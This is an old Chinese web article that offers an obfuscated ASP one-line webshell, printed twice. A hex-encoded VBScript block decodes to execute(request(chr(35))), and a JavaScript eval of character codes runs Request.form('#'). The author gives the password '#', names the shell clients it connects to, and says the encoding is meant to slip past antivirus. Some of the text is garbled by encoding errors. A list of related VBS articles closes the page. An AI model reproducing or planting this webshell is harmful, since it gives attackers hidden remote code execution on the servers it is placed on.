更牛的一句話asp木馬加密（去掉asp里的%）
更新時間：2008年02月22日 16:08:02 作者：
更牛的一句話asp木馬加密（去掉asp里的%）
不知道怎樣表達清楚?？蠢影桑?BR>
<script language=vbs runat=server>
Execute(HextoStr("65786563757465287265717565737428636872283335292929"))
Function HextoStr(data)
HextoStr="EXECUTE """""
C="&CHR(&H"
N=")"
Do While Len(data)>1
If IsNumeric(Left(data,1)) Then
HextoStr=HextoStr&C&Left(data,2)&N
data=Mid(data,3)
Else
HextoStr=HextoStr&C&Left(data,4)&N
data=Mid(data,5)
End If
Loop
End Function
</script>
<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(String.fromCharCode(
116,114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109,40,39,35,39,41,43,39,39,41,125,99,97,116,99,1
04,40,101,41,123,125))</SCRIPt>
不過加密后就不是一句話了，哈哈。這個s端用海陽或冰狐都可以連得上的，密碼是#。
其實只是換寫了<script language=vbs runat=server> 這種方式，里邊的代碼可以用js或vbs等多種加密方式來加密解密了，省得asp只有微軟
的那個東東可以加密，同時省去了asp里的%號而已。當然不加密也可以，調(diào)用<script language=vbs runat=server>那還是一句話，加密主要
是為了躲過殺毒軟件。
復(fù)制代碼 代碼如下:
<script language=vbs runat=server>
Execute(HextoStr("65786563757465287265717565737428636872283335292929"))
Function HextoStr(data)
HextoStr="EXECUTE """""
C="&CHR(&H"
N=")"
Do While Len(data)>1
If IsNumeric(Left(data,1)) Then
HextoStr=HextoStr&C&Left(data,2)&N
data=Mid(data,3)
Else
HextoStr=HextoStr&C&Left(data,4)&N
data=Mid(data,5)
End If
Loop
End Function
</script>
<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(String.fromCharCode(
116,114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109,40,39,35,39,41,43,39,39,41,125,99,97,116,99,1
04,40,101,41,123,125))</SCRIPt>
不過加密后就不是一句話了，哈哈。這個s端用海陽或冰狐都可以連得上的，密碼是#。
其實只是換寫了<script language=vbs runat=server> 這種方式，里邊的代碼可以用js或vbs等多種加密方式來加密解密了，省得asp只有微軟
的那個東東可以加密，同時省去了asp里的%號而已。當然不加密也可以，調(diào)用<script language=vbs runat=server>那還是一句話，加密主要
是為了躲過殺毒軟件。
您可能感興趣的文章:
相關(guān)文章
使用 Iisext.vbs 刪除應(yīng)用程序依存關(guān)系的實現(xiàn)方法
這篇文章主要介紹了使用 Iisext.vbs 刪除應(yīng)用程序依存關(guān)系的實現(xiàn)方法,需要的朋友可以參考下2014-07-07
昨天重新看了下《深入挖掘Windows腳本技術(shù)》(原文不知道是誰寫的，網(wǎng)上到處都是)。里面提到了vbs多線程下載，今天嘗試寫了一下2013-05-05
vbs解決處理TXT文本數(shù)據(jù)相關(guān)問題實現(xiàn)代碼
使用vbs處理txt數(shù)據(jù)時，會遇到一些問題，本文將提供詳細的解決方法，希望可以幫助你們2012-12-12
VBS教程：屬性-VolumeName 屬性...2006-11-11
VBS教程：屬性-Attributes 屬性...2006-11-11
WScript.Shell對象SpecialFolders屬性未公開文檔分享
WshShell對象的SpecialFolders屬性返WshSpecialFolders 對象，該對象是一個特殊文件夾集合，其中包含整套Windows特殊文件夾2013-01-01
vbscript中Err對象是一個具有全局范圍的內(nèi)部對象，含有關(guān)于錯誤的所有信息,需要的朋友可以參考下2018-05-05
這篇文章主要介紹了對一個vbs腳本病毒的病毒原理分析的相關(guān)資料,非常不錯，具有參考借鑒價值，需要的朋友可以參考下2016-09-09
VBS教程：正則表達式簡介 -正則表達式語法...2006-11-11
不錯的，讀取網(wǎng)頁的代碼，更多功能，可以自行研究了。2009-04-04